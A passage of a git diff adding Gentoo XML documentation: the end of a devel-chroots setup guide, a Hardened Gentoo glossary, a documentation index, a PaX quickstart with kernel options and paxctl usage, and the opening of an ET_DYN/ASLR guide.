+configuration abilities of the different chroots.
+</p>
+
+<p>
+For this reason, the new version of <c>devel-chroots</c> has been
+completely rewritten and is using a three-layered approach
+of configuration data for setting up chroots and populating
+the config files in these.
+</p>
+
+<p>
+Finishing this introduction, this guide is not meant to be exclusive
+to Gentoo development machines and their maintainers and users,
+the tool has been developed to be usable on any machine
+where chroots should be set up in an automatic and configurable fashion.
+</p>
+
+<p>
+Your input is welcome and there is always room for improving
+this little program as it aims at easing development and promotes
+thorough regression and live testing by providing an easy way
+of setting up a testbed, which a chroot basically is.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Installation</title>
+<section>
+<title>Ebuild installation</title>
+<body>
+
+<p>
+The utility can be emerged with the following shell command:
+</p>
+
+<note>
+If you want to emerge only the basic tool without the sample configuration,
+activate the <c>"minimal"</c> USE-flag.
+</note>
+
+<pre caption="Installation of devel-chroots">
+# <i>USE="-minimal" emerge -pv devel-chroots</i>
+
+These are the packages that would be merged, in order:
+
+Calculating dependencies... done!
+[ebuild   R   ] dev-util/devel-chroots-2.0.0  USE="-minimal*" 0 kB 
+
+Total size of downloads: 0 kB
+
+# <i>USE="-minimal" emerge -v devel-chroots</i>
+</pre>
+
+<pre caption="Installation of devel-chroots without configuration files">
+# <i>USE="minimal" emerge -pv devel-chroots</i>
+
+These are the packages that would be merged, in order:
+
+Calculating dependencies... done!
+[ebuild   R   ] dev-util/devel-chroots-2.0.0  USE="minimal" 0 kB 
+
+Total size of downloads: 0 kB
+
+# <i>USE="minimal" emerge -v devel-chroots</i>
+</pre>
+
+</body>
+</section>
+
+<section>
+<title>Fetching the source code</title>
+<body>
+
+<p>
+The source code for the project can be found in the following
+anonymous <c>cvs</c> or <c>svn</c> location, along with viewcvs:
+</p>
+
+<pre caption="fetching the project source code with anonymous cvs">
+/tmp/dc $ <i>cvs -d :pserver:anonymous@anoncvs.gentoo.org/var/cvsroot co gentoo-projects</i>
+</pre>
+
+<pre caption="fetching the project source code with anonymous svn">
+/tmp/dc $ <i>svn co http://anonsvn.gentoo.org/repositories/gentoo-projects</i>
+</pre>
+
+<p>
+Then dive into the
+<c>gentoo-projects/devel-chroots/devel-chroots-2.0.0/</c>
+directory to see the source code for the project.
+</p>
+
+<p>
+As you can see, it's just the same as the scripts
+that are getting installed by the ebuild.
+Which positively means that you can theoretically also use
+these scripts without having an ebuild install them.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Configuration</title>
+<section>
+<title>General machine configuration</title>
+<body>
+
+<p>
+There is no standard location where a <c>stage3</c>
+file may be located on the mirrors.
+For this reason, it is highly advised to edit the
+default configuration file and explicitly set the <c>STAGE_URL</c> variable.
+</p>
+
+<pre caption="STAGE_URL in default configuration">
+$ <i>grep STAGE_URL /etc/devel-chroots/default/config</i>
+STAGE_URL="$(echo ${GENTOO_MIRRORS} | awk '{ print $1; }')/${STAGE_PATH}/${STAGE_NAME}"
+# STAGE_URL="http://ftp.belnet.be/mirror/rsync.gentoo.org/gentoo/releases/x86/2006.0/stages/stage3-x86-2006.0.tar.bz2"
+</pre>
+
+<p>
+As you can see, the default mechanism is to pick the first mirror,
+add the stage path for a typical x86 stage and construct
+the name for a current profile's stage.
+However, this doesn't work for sparc for example,
+because they are differentiating between sparc32 and sparc64.
+The same holds true for hppa, where it's stages pertaining
+to the 1.1 ABI and the 2.0 ABI of different types of machines.
+</p>
+
+<p>
+Also remember that users and specific chroots can always
+override this variable, so it would be the best thing
+to make sure it points to a reasonable default stable stage.
+</p>
+
+<p>
+As said, users wishing to enable a hardened toolchain chroot,
+a linux32 chroot on an amd64 machine or a new bleeding edge stage
+from one of their private mirrors can always override
+this setting in their own <c>config</c>.
+</p>
+
+<p>
+Another important piece of the configuration is the global <c>make.conf</c>.
+Basically, every single chroot contains a file 
+<c>/usr/local/chroot/conf.d/make.conf</c>
+which is constructed from three possible <c>make.conf</c> files
+residing in the configuration directory of <c>devel-chroots</c>:
+</p>
+
+<p>
+<c>/etc/devel-chroots/default/make.conf</c> is the main file for chroots.
+</p>
+
+<p>
+<c>/etc/devel-chroots/pappy/make.conf</c> is holding user specific addons.
+</p>
+
+<p>
+<c>/etc/devel-chroots/pappy/chroot001/make.conf</c> is a chroot specific file.
+</p>
+
+<p>
+These three files make up the final
+<c>/usr/local/chroot/conf.d/make.conf</c>
+which then can be sourced by the real <c>/etc/make.conf</c> of the chroot.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>User specific configuration</title>
+<body>
+
+<p>
+As noted in the previous section, each user can define her or his
+own versions of <c>config</c> and <c>make.conf</c> in the
+configuration directory <c>/etc/devel-chroots/username</c>.
+This enables the highest possible versatility and flexibility.
+For example, it is possible to allow a user define her or his own
+debugging settings for
+<c>FEATURES</c> and <c>USE</c> flags in <c>make.conf</c>.
+</p>
+
+<p>
+Another example is the custom setting of the screenrc:
+</p>
+
+<pre caption="user specific screenrc for chroot screen sessions">
+$ <i>cat /etc/devel-chroots/pappy/screenrc</i>
+backtick 1 5 0 /home/pappy/bin/mem.sh
+backtick 2 1 0 /home/pappy/bin/cetclock.sh 'CET' '-0200' '-0100'
+
+hardstatus string '%{= kG}[%= %{= kw}%?%-Lw%?%{r}[%{W}%n*%f %t%?{%u}%?%{r}]%{w}%?%+Lw%?%?%= %{g}]%{W} %2`:%s %{g}%{.w}%H%{.c} [%l] %1`MB ram'
+</pre>
+
+<p>
+This makes it easy for users to include their own scripts
+in screen sessions of chroots,
+for example to measure disk usage or load of the system.
+</p>
+
+<pre caption="Example: user specific CET date display on chroot screen">
+~ $ cat bin/cetclock.sh 
+#!/bin/bash
+
+# check for daylight saving time being currently active at this time
+if [ "x$(perl -e '@timeData = localtime(time); print ${timeData}[-1];')y" == "x1y" ]
+then
+        date --utc --date="$(date --utc '+%F %T') $2" "+$1 %H:%M"
+else
+        date --utc --date="$(date --utc '+%F %T') $3" "+$1 %H:%M"
+fi
+
+</pre>
+
+</body>
+</section>
+
+<section>
+<title>Chroot specific configuration</title>
+<body>
+
+<p>
+Last but not least, on some arches (notably amd64),
+there is the possibility to install an x86 chroot using a special emulator
+command, called <c>linux32</c>.
+
+Redefining the respective variables in the chroot-specific
+<c>/etc/devel-chroots/pappy/chroot001/config</c> enables users to
+set up those special chroots on amd64 test machines:
+</p>
+
+<pre caption="chroot specific config for linux32 chroot on amd64">
+$ <i>cat /etc/devel-chroots/pappy/chroot001/config</i>
+CHROOT_BINARY="linux32 /usr/bin/chroot"
+STAGE_URL="http://ftp.belnet.be/mirror/rsync.gentoo.org/gentoo/releases/x86/2006.0/stages/stage3-x86-2006.0.tar.bz2"
+</pre>
+
+<p>
+These variables are learned by the script and will
+be used for setting up the chroot.
+Other chroots are not affected by this setting, however.
+This makes it very easy for users to set up and maintain
+different chroots for their needs on the same machine at a time.
+</p>
+
+<p>
+As you can see, in every case,
+chroot-specific data is overwriting default and user-specific data.
+Please do not change system-internal variables like
+the maximum number of chroots for a user
+and similar definitions inside a chroot-specific <c>config</c> file.
+</p>
+
+</body>
+</section>
+
+</chapter>
+
+<chapter>
+<title>Startup and maintenance</title>
+<section>
+<title>Automatic startup</title>
+<body>
+
+<p>
+Automatic startup of the developer chroots is attained with an init script
+that is conforming to the Gentoo standards.
+</p>
+
+<pre caption="starting the devel-chroots init script">
+# /etc/init.d/devel-chroots status
+ * status:  stopped
+
+# /etc/init.d/devel-chroots start 
+ * Starting developer chroots for all users ...
+ * pappy: starting chroot001 in (/space/devel-chroots/pappy/chroot001)
+ * pappy: mounting chroot filesystems: /space/devel-chroots/pappy/chroot001
+ * pappy: chroot001: creating conf: make.conf
+ * pappy: starting chroot002 in (/space/devel-chroots/pappy/chroot002)
+ * pappy: mounting chroot filesystems: /space/devel-chroots/pappy/chroot002
+ * pappy: chroot002: creating conf: make.conf
+ * config file [/etc/devel-chroots/pappy/chroot002/make.conf] not existing, skipping
+ * no /etc/devel-chroots/pappy/chroot003 config dir
+ * no /etc/devel-chroots/pappy/chroot004 config dir
+ * no /etc/devel-chroots/pappy/chroot005 config dir
+ * no /etc/devel-chroots/pappy/chroot006 config dir
+ * no /etc/devel-chroots/pappy/chroot007 config dir
+ * no /etc/devel-chroots/pappy/chroot008 config dir
+ * launching detached screen session for pappy's chroots
+ * remember that you have to source /usr/local/chroot/conf.d/make.conf
+ * in the make.conf of created chroots for user-specific settings
+ * for multiuser mode, you need to set /usr/bin/screen to mode 4755
+ * and also change the directory /var/run/screen to mode 0755                                    [ <ident>ok</ident> ]
+</pre>
+
+<pre caption="restarting the chroots init script">
+# /etc/init.d/devel-chroots restart
+ * Stopping developer chroots for all users ...
+ * stopping chroot001 of user pappy (/space/devel-chroots/pappy/chroot001)
+ * pappy: terminating the following screen sessions: 8638
+ * pappy: unmounting chroot filesystems: /space/devel-chroots/pappy/chroot001
+ * stopping chroot002 of user pappy (/space/devel-chroots/pappy/chroot002)
+ * pappy: unmounting chroot filesystems: /space/devel-chroots/pappy/chroot002
+ * no /etc/devel-chroots/pappy/chroot003 config dir
+ * no /etc/devel-chroots/pappy/chroot004 config dir
+ * no /etc/devel-chroots/pappy/chroot005 config dir
+ * no /etc/devel-chroots/pappy/chroot006 config dir
+ * no /etc/devel-chroots/pappy/chroot007 config dir
+ * no /etc/devel-chroots/pappy/chroot008 config dir                                                                                           [ <ident>ok</ident> ]
+ * Starting developer chroots for all users ...
+ * pappy: starting chroot001 in (/space/devel-chroots/pappy/chroot001)
+ * pappy: mounting chroot filesystems: /space/devel-chroots/pappy/chroot001
+ * pappy: chroot001: creating conf: make.conf
+ * pappy: starting chroot002 in (/space/devel-chroots/pappy/chroot002)
+ * pappy: mounting chroot filesystems: /space/devel-chroots/pappy/chroot002
+ * pappy: chroot002: creating conf: make.conf
+ * config file [/etc/devel-chroots/pappy/chroot002/make.conf] not existing, skipping
+ * no /etc/devel-chroots/pappy/chroot003 config dir
+ * no /etc/devel-chroots/pappy/chroot004 config dir
+ * no /etc/devel-chroots/pappy/chroot005 config dir
+ * no /etc/devel-chroots/pappy/chroot006 config dir
+ * no /etc/devel-chroots/pappy/chroot007 config dir
+ * no /etc/devel-chroots/pappy/chroot008 config dir
+ * launching detached screen session for pappy's chroots
+ * remember that you have to source /usr/local/chroot/conf.d/make.conf
+ * in the make.conf of created chroots for user-specific settings
+ * for multiuser mode, you need to set /usr/bin/screen to mode 4755
+ * and also change the directory /var/run/screen to mode 0755                                                                                 [ <ident>ok</ident> ]
+</pre>
+
+<p>
+As you can see, the init script is maybe generating
+lots of considered unnecessary output,
+however this is important for being able
+to judge why a certain chroot has not been set up
+and adds in easy understanding what is happening and what is not.
+</p>
+
+<p>
+For example, as you can see, a chroot for a given user is only started
+if a configuration directory for that chroot could be found.
+It can be empty, but it has to exist for the given chroot to be started.
+</p>
+
+<p>
+Please note that the usage of the init script should be left
+up to the discretion of the system administrator.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>User management of chroots</title>
+<body>
+
+<p>
+Users should be issuing the following script for
+starting and stopping their own chroots:
+</p>
+
+<pre caption="user maintenance of chroots: stopping chroots">
+$ sudo /usr/sbin/devel-chroots stop pappy
+ * stopping chroot001 of user pappy (/space/devel-chroots/pappy/chroot001)
+ * pappy: terminating the following screen sessions: 9371
+ * pappy: unmounting chroot filesystems: /space/devel-chroots/pappy/chroot001
+ * stopping chroot002 of user pappy (/space/devel-chroots/pappy/chroot002)
+ * pappy: unmounting chroot filesystems: /space/devel-chroots/pappy/chroot002
+</pre>
+
+<pre caption="user maintenance of chroots: starting chroots">
+$ sudo /usr/sbin/devel-chroots start pappy  
+ * pappy: starting chroot001 in (/space/devel-chroots/pappy/chroot001)
+ * pappy: mounting chroot filesystems: /space/devel-chroots/pappy/chroot001
+ * pappy: chroot001: creating conf: make.conf
+ * pappy: starting chroot002 in (/space/devel-chroots/pappy/chroot002)
+ * pappy: mounting chroot filesystems: /space/devel-chroots/pappy/chroot002
+ * pappy: chroot002: creating conf: make.conf
+ * launching detached screen session for pappy's chroots
+</pre>
+
+<p>
+Please remember there is no restart command:
+</p>
+
+<pre caption="illegal use of restart command for chroot">
+$ sudo /usr/sbin/devel-chroots restart pappy
+ * error: unknown mode: restart
+</pre>
+
+</body>
+</section>
+
+<section>
+<title>Final notes</title>
+<body>
+
+<p>
+As noted in the init script, for users being able to reattach
+to root screen sessions as a user and
+use the <c>acladd</c> command to see who is working with them,
+it is necessary to change screen and
+the working directory of the screen session sockets.
+</p>
+
+<p>
+However, this is a cosmetic advantage,
+because normally everybody is supposed to be root
+on a development system and there is no security restrictions.
+</p>
+
+<p>
+But on the other hand, having a system of voluntarily
+least priviledges used for reconnecting to screen sessions
+as an authorized user never hurts, avoids mistakes and problems
+and opens up room for cutting down the necessary priviledges
+of scripts and users for having their work done!
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
+
diff --git a/xml/htdocs/proj/en/hardened/docs/glossary.xml b/xml/htdocs/proj/en/hardened/docs/glossary.xml
new file mode 100644
index 00000000..2b21d0c1
--- /dev/null
+++ b/xml/htdocs/proj/en/hardened/docs/glossary.xml
@@ -0,0 +1,198 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<guide link="/proj/en/hardened/docs/glossary.xml">
+
+<title>Introduction to Gentoo Hardened</title>
+<author title="Author">
+  <mail link="tseng@gentoo.org">Brandon Hale</mail>
+</author>
+
+<abstract>
+This document introduces the Gentoo Hardened project and covers
+each of its subprojects in simple terms.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.0 -->
+<license/>
+
+<version>1.1</version>
+<date>August 07, 2004</date>
+
+<chapter>
+<title>What is Gentoo Hardened?</title>
+<section>
+<body>
+
+<p>
+Gentoo Hardened is a subproject that works to bring advanced
+security features to Gentoo Linux. Hardened is not a single product
+but rather a set of complimentary pieces of software intended to cover
+many aspects of Linux security. The major components are ACL systems,
+PIE/SSP and Intrusion Detection Systems.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter id="acl">
+<title>ACL's (Access Control Lists)</title>
+<section>
+<body>
+
+<p>
+ACL's give the systems administrator a more powerful tool to control access
+to various system resources than was possible in traditional UNIX systems.
+Such systems allow you to allow/disallow access to all aspects of a system to
+users or groups of users, and to create powerful rulesets.
+</p>
+
+<p>
+ACL systems supported by Gentoo Hardened include Grsecurity, SELinux, RSBAC, and
+Systrace.
+</p>
+
+</body>
+</section>
+<section id="grsecurity">
+<title>Grsecurity</title>
+<body>
+
+<p>
+Grsecurity may be the most common ACL system, and is found in several of
+Gentoo's patched kernel source trees. An advantage of Grsecurity is that
+it includes more than just an ACL system. It also provides PaX, a kernel
+patch that forces memory to be nonexecutable, thwarting common attacks.
+It also adds some other hardening features, including more randomness in
+memory allocation and TCP packets, and stricter enforcement of chroot.
+</p>
+
+</body>
+</section>
+<section id="selinux">
+<title>SELinux</title>
+<body>
+
+<p>
+SELinux was written by the NSA and can enforce policies on all processes and
+objects on a system. Many people, including the Hardened project, are so
+confident in its ability to lock down a system that they have setup public 
+machines and challenge anyone to take down the box (given a root password!)
+</p>
+
+</body>
+</section>
+<section id="rsbac">
+<title>RSBAC</title>
+<body>
+
+<p>
+RSBAC is an independent project driven by Amon Ott. It supports many different
+security models which are implemented as modules. It can work together with PaX
+and while the implementation and models are a bit different, it is often
+compared to SELinux features wise.
+</p>
+
+</body>
+</section>
+<section id="systrace">
+<title>Systrace</title>
+<body>
+
+<p>
+Systrace is a lightweight ACL system with an easy to use policy editor and a 
+gui for on-the-fly policy management. Additionally this allows applications 
+which require root capabilities to run without setuid and setgid flags.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>PIE/SSP</title>
+<section>
+<body>
+
+<p>
+These two hardening features are added to binaries at compile time by GCC.
+</p>
+
+</body>
+</section>
+<section id="et_dyn">
+<title>PIE/SSP</title>
+<body>
+
+<p>
+Another compile time feature to protect a programs space in memory from
+exploitation. This feature tells the compiler to create a Position Independent
+Executable, which can be used by a PaX (see below) enabled kernel to fully 
+randomize the executable's memory space. This protection method has no 
+noticable performance impact, and prevents exploits that are written to
+target specific memory addresses. This can be enabled transparently via
+hardened-gcc (See Below.)
+</p>
+
+</body>
+</section>
+<section id="ssp">
+<title>SSP (Stack Smashing Protection)</title>
+<body>
+
+<p>
+Known commonly as ProPolice, this GCC patch is included by default in Gentoo,
+but not enabled. This protects binaries from malicious code insertion into the
+stack. Whenever a buffer (area in memory where a program accepts user input) is
+created, ProPolice inserts a cryptographic "canary", and after each write to a 
+buffer verifies that the canary has not been overwritten. This nullifies a
+common attack where a cracker inserts malicious code past the edge of a buffer
+and the program blindly executes it. This feature is enabled via the compiler
+flag "-fstack-protector" or transparently via hardened-gcc (See Below.)
+</p>
+
+</body>
+</section>
+<section id="hardened-gcc">
+<title>Hardened GCC</title>
+<body>
+
+<p>
+When GCC is built with USE="hardened", modified spec files are installed that allow
+for transparent PIE/SSP compiles. Since these options are enabled by the spec file
+there is no reason to also add them to CFLAGS. In fact, in the case of PIE this can
+even cause problems.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter id="ids">
+<title>Instrusion Detection Systems</title>
+<section>
+<body>
+
+<p>
+This class of programs monitor log files for suspicious activity and report
+it to the administrator.
+</p>
+
+</body>
+</section>
+<section id="prelude">
+<title>Prelude</title>
+<body>
+
+<p>
+Prelude is a hybrid intrusion detection system that tracks both network 
+intrusions and host intrusions with an lml (log monitoring lackey). 
+Integrating this on a large scale, adding support to certain apps, and adding 
+rules so that lml can monitor other projects like SELinux.
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/hardened/docs/index.xml b/xml/htdocs/proj/en/hardened/docs/index.xml
new file mode 100644
index 00000000..df5cdb50
--- /dev/null
+++ b/xml/htdocs/proj/en/hardened/docs/index.xml
@@ -0,0 +1,98 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/hardened/docs/index.xml,v 1.3 2007/03/16 10:40:45 neysx Exp $ -->
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
+<mainpage>
+  <title>Hardened Gentoo Documentation Resources</title>
+  <author title="Author">
+    <mail link="tseng@gentoo.org">Brandon Hale</mail>
+  </author>
+<version>1.0</version>
+<date>August 7, 2004</date>
+
+<chapter>
+<title>Hardened Gentoo Documentation Resources</title>
+
+<section>
+<body>
+<p>
+The <b><uri link="glossary.xml">Hardened Gentoo Glossary</uri></b> breifly
+explains the several technologies that make up Hardened Gentoo.
+</p>
+</body>
+</section>
+
+<section>
+<title>SELinux</title>
+<body>
+
+<p>
+SELinux is a system of mandatory access controls. SELinux can enforce the security 
+policy over all processes and objects in the system. The following documents will
+help you to build a new SELinux-enabled system, or to convert an existing system,
+and get up to speed with the basics of SELinux policies.
+</p>
+
+<p>
+The <b><uri link="../selinux/selinux-x86-install.xml">SELinux x86 Install Guide
+</uri></b> provides a step-by-step explanation on how to install and configure
+a new system using SELinux.
+</p>
+
+<p>
+The <b><uri link="../selinux/selinux-quickstart.xml">SELinux QuickStart Guide
+</uri></b> includes instructions on converting your existing Gentoo install to
+SELinux.
+</p>
+
+<p>
+The <b><uri link="../selinux/selinux-policy.xml">SELinux Policy Overview</uri></b> 
+covers the basics of working with SELinux policies.
+</p>
+
+<p>
+The <b><uri link="../selinux/selinux-faq.xml">SELinux FAQ</uri></b> answers many
+frequently asked questions and has solutions for common pitfalls.
+</p>
+
+</body>
+</section>
+<section>
+<title>RSBAC</title>
+<body>
+
+<p>
+RSBAC is Mandatory Access Control security system based on the Role Compatibility 
+model. It can enforce access rules on your operating system.
+</p>
+
+<p>
+The <b><uri link="../rsbac/overview.xml">RSBAC Overview</uri></b> is a glossary
+that establishes a basic understanding of RSBAC-related concepts.
+</p>
+
+<p>
+The <b><uri link="../rsbac/quickstart.xml">RSBAC Quickstart</uri></b> 
+covers converting an existing system to RSBAC.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>PaX</title>
+<body>
+    
+<p>
+PaX is a combination of technologies that enable comprehensive memory protection
+in Linux. The following docs cover both the PaX kernel and complementary userland
+technologies.
+</p>
+
+<p>
+The <b><uri link="pax-howto.xml">PaX Howto</uri></b> helps to get a system
+up and running with a PaX kernel and PIE/SSP userland.
+</p>
+</body>
+</section>
+</chapter>
+</mainpage>
diff --git a/xml/htdocs/proj/en/hardened/docs/pax-howto.xml b/xml/htdocs/proj/en/hardened/docs/pax-howto.xml
new file mode 100644
index 00000000..413a04dd
--- /dev/null
+++ b/xml/htdocs/proj/en/hardened/docs/pax-howto.xml
@@ -0,0 +1,287 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/hardened/docs/pax-howto.xml,v 1.2 2004/09/24 10:49:00 tigger Exp $ -->
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/proj/en/hardened/docs/pax-howto.xml">
+<title>Hardened Gentoo PaX Quickstart</title>
+
+<author title="Author">
+  <mail link="tseng@gentoo.org">Brandon Hale</mail>
+</author>
+<author title="Editor">
+  <mail link="blackace@gentoo.org">Blackace</mail>
+</author>
+
+<abstract>
+A quickstart covering PaX and Hardened Gentoo.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.0 -->
+<license/>
+
+<version>1.1</version>
+<date>August 07, 2004</date>
+
+<chapter>
+<title>What is Hardened Gentoo?</title>
+<section>
+<body>
+
+<p>
+Hardened Gentoo is a project interested in the hardening of a Gentoo system.
+Several different solutions are supported by us and there is a fair bit of
+flexibility to create your own setup. At the heart of Hardened Gentoo is
+<e>PaX</e>.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>What is PaX?</title>
+<section>
+<body>
+
+<p>
+PaX is a patch to the Linux kernel that provides hardening in two ways.
+</p>
+
+<p>
+The first, <e>ASLR</e> (Address Space Layout Randomization) provides a means to
+randomize the addressing scheme of all data loaded into memory. When an
+application is built as a <e>PIE</e> (Position Independent Executable), PaX is
+able to also randomize the addresses of the application base in addition.
+</p>
+
+<p>
+The second protection provided by PaX is non-executable memory. This prevents a
+common form of attack where executable code is inserted into memory by an
+attacker. More information on PaX can be found throughout this guide, but the
+homepage can be found at <uri>http://pax.grsecurity.net</uri>.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>An Introduction to PIE and SSP</title>
+<section>
+<body>
+
+<p>
+As mentioned above, PaX is complemented by PIE. This method of building
+executables stores information needed to relocate parts of the executable in
+memory, hence the name <e>Position Independent</e>.
+</p>
+
+<p>
+<e>SSP</e> (Stack Smashing Protector) is a second complementary technology we
+introduce at executable build time. SSP was originally introduced by IBM under
+the name <e>ProPolice</e>. It modifies the C compiler to insert initialization 
+code into functions that create a buffer in memory. 
+</p>
+
+<note>
+In newer versions of SSP, it is possible to apply SSP to all functions,
+adding protection to functions whose buffer would normally be below the size 
+limit for SSP. This is enabled via the CFLAG -fstack-protector-all.
+</note>
+
+<p>
+At run time, when a buffer is created, SSP adds a secret random value, the 
+canary, to the end of the buffer. When the function returns, SSP makes sure 
+that the canary is still intact. If an attacker were to perform a buffer 
+overflow, he would overwrite this value and trigger that stack smashing 
+handler. Currently this kills the target process.
+</p>
+
+<p>
+<uri link="http://www.trl.ibm.com/projects/security/ssp/">Further reading on 
+SSP.</uri>
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Building a PaX-enabled Kernel</title>
+<section>
+<body>
+
+<p>
+Several Gentoo kernel trees are already patched with PaX.
+</p>
+
+<p>
+For 2.4 based machines, the recommended kernels are <c>hardened-sources</c> or
+<c>grsec-sources</c>. For 2.6 machines, <c>hardened-dev-sources</c> are
+recommended.
+</p>
+
+<p>
+Grab one of the recommended source trees, or apply the appropriate patch from
+<uri>http://pax.grsecurity.net</uri> to your own tree and configure it as you
+normally would for the target machine.
+</p>
+
+<p>
+In <c>Security Options -&gt; PaX</c>, apply the options as shown below.
+</p>
+
+<pre caption="Kernel configuration">
+[*] Enable various PaX features
+
+PaX Control -&gt;
+
+ [ ] Support soft mode
+ [*] Use legacy ELF header marking
+ [*] Use ELF program header marking
+     MAC system integration (none)  ---&gt;
+
+Non-executable page -&gt;
+
+ [*] Enforce non-executable pages
+ [*]   Paging based non-executable pages
+ [*]   Segmentation based non-executable pages
+ [*] Emulate trampolines
+ [*] Restrict mprotect()
+ [ ]   Disallow ELF text relocations
+
+Address Space Layout Randomization -&gt;
+
+ [*] Address Space Layout Randomization
+ [*]   Randomize kernel stack base
+ [*]   Randomize user stack base
+ [*]   Randomize mmap() base
+ [*]     Randomize ET_EXEC base
+</pre>
+
+<p>
+Build this kernel as you normally would and install it to <path>/boot</path>.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Building a PIE/SSP Enabled Userland</title>
+<section>
+<body>
+
+<p>
+Hardened Gentoo has added support for transparent PIE/SSP building via GCC's
+specfile. This means that any users upgrading an older Hardened install should
+remove any LDFLAGS or CFLAGS used to trigger PIE/SSP. Also, the 
+<c>hardened-gcc</c> package is now deprecated and should be unmerged 
+(version 5.0 is a dummy package). To get the current GCC, add 
+<c>USE="hardened"</c> to <path>/etc/make.conf</path>.
+</p>
+
+<p>
+To maintain a consistant toolchain, first <c>emerge binutils gcc glibc</c>.
+Next, rebuild the entire system with <c>emerge -e world</c>. All future packages
+will be built with PIE/SSP.
+</p>
+
+<warn>
+Both PIE and SSP are known to cause issues with some packages. If you come
+across a package that fails to compile, please file a bug report including a log
+of the failed compile and the output of <c>emerge info</c> to
+<uri>http://bugs.gentoo.org/</uri>.
+</warn>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>When Things Misbehave (PaX Control)</title>
+<section>
+<body>
+
+<p>
+Some legitimate applications will attempt to generate code at run time which is
+executed out of memory. Naturally, PaX does not allow this and it will promptly
+kill the offending application.
+</p>
+
+<note>
+The most notable of these applications are XFree, mplayer and multimedia tools
+based on xine-lib. The easiest way around these problems are to disable PaX
+protections.
+</note>
+
+<p>
+Luckily there is a utility to toggle protections on a per-executable basis,
+<e>paxctl</e>. As with any other package in Gentoo, install paxctl with the
+command <c>emerge paxctl</c>. Usage is show by <c>paxctl -h</c>.
+</p>
+
+<note>
+If you have an older version of binutils, you will need to use <e>chpax</e>,
+which edits the old-style PaX markings. Usage of chpax is largely the same as
+paxctl. This also requires legacy marking support built into your kernel.
+</note>
+
+<pre caption="paxctl -h">
+usage: paxctl &lt;options&gt; &lt;files&gt;
+
+options:
+        -p: disable PAGEEXEC            -P: enable PAGEEXEC
+        -e: disable EMUTRMAP            -E: enable EMUTRMAP
+        -m: disable MPROTECT            -M: enable MPROTECT
+        -r: disable RANDMMAP            -R: enable RANDMMAP
+        -x: disable RANDEXEC            -X: enable RANDEXEC
+        -s: disable SEGMEXEC            -S: enable SEGMEXEC
+
+        -v: view flags                  -z: restore default flags
+        -q: suppress error messages     -Q: report flags in short format flags
+</pre>
+
+<p>
+The first option we will note is <c>-v</c>, which can display flags set on a
+particular binary.
+</p>
+
+<pre caption="paxctl -v">
+y0shi brandon # paxctl -v /usr/X11R6/bin/XFree86
+PaX control v0.2
+Copyright 2004 PaX Team &lt;pageexec@freemail.hu&gt;
+
+- PaX flags: -p-sM--x-eR- [/usr/X11R6/bin/XFree86]
+        PAGEEXEC is disabled
+        SEGMEXEC is disabled
+        MPROTECT is enabled
+        RANDEXEC is disabled
+        EMUTRAMP is disabled
+        RANDMMAP is enabled
+</pre>
+
+<p>
+This shows an XFree binary with all protections disabled.
+</p>
+
+<p>
+To set flags on a binary, the <c>-z</c> flag is useful as it restores the
+default flags.
+</p>
+
+<p>
+To disable protections on XFree, run
+<c>paxctl -zpeMRxs /usr/X11R6/bin/XFree86</c>.
+</p>
+
+<p>
+Play around with disabling/enabling protections to see what is the least needed
+to run.
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/hardened/etdyn.xml b/xml/htdocs/proj/en/hardened/etdyn.xml
new file mode 100644
index 00000000..3afcbda5
--- /dev/null
+++ b/xml/htdocs/proj/en/hardened/etdyn.xml
@@ -0,0 +1,227 @@
+<?xml version='1.0' encoding="utf-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<guide link="/proj/en/hardened/etdyn.xml">
+
+<author title="Author">
+	<mail link="pageexec@freemail.hu">The PaX Team</mail>
+</author>
+<author title="Contributor">
+	<mail link="solar@gentoo.org">solar</mail>
+</author>
+<author title="Contributor">
+	<mail link="pappy@gentoo.org">Alexander Gabert</mail>
+</author>
+<author title="Editor">
+	<mail link="zhen@gentoo.org">John Davis</mail>
+</author>
+<author title="Editor">
+	<mail link="klasikahl@gentoo.org">Zack Gilburd</mail>
+</author>
+<abstract>
+This guide contains documentation and examples on how to create dynamic ELF executables.
+These guidelines are required to achieve full Address Space Layout Randomization.
+</abstract>
+
+<version>1.1</version>
+<date>5 Aug 2003</date>
+
+<chapter>
+	<title>Introduction</title>
+	<body>
+   <p>One of the features of PaX is Address Space Layout Randomization (ASLR)
+   that allows the kernel to randomize the addresses of various areas in
+   the task's address space. While most of ASLR requires no changes in
+   userland, randomizing the main executable's base address presents a
+   challenge as traditionally such ELF executables of the ET_EXEC kind
+   do not contain enough relocation information. Nevertheless, PaX provides
+   two ways to solve this problem: RANDEXEC and RANDMMAP. </p>
+
+   <p>RANDEXEC works by mapping the ET_EXEC ELF file in a special way in memory
+   and requires no changes in userland (except for actually enabling it on
+   a given file, as this feature is disabled by default). The drawback of
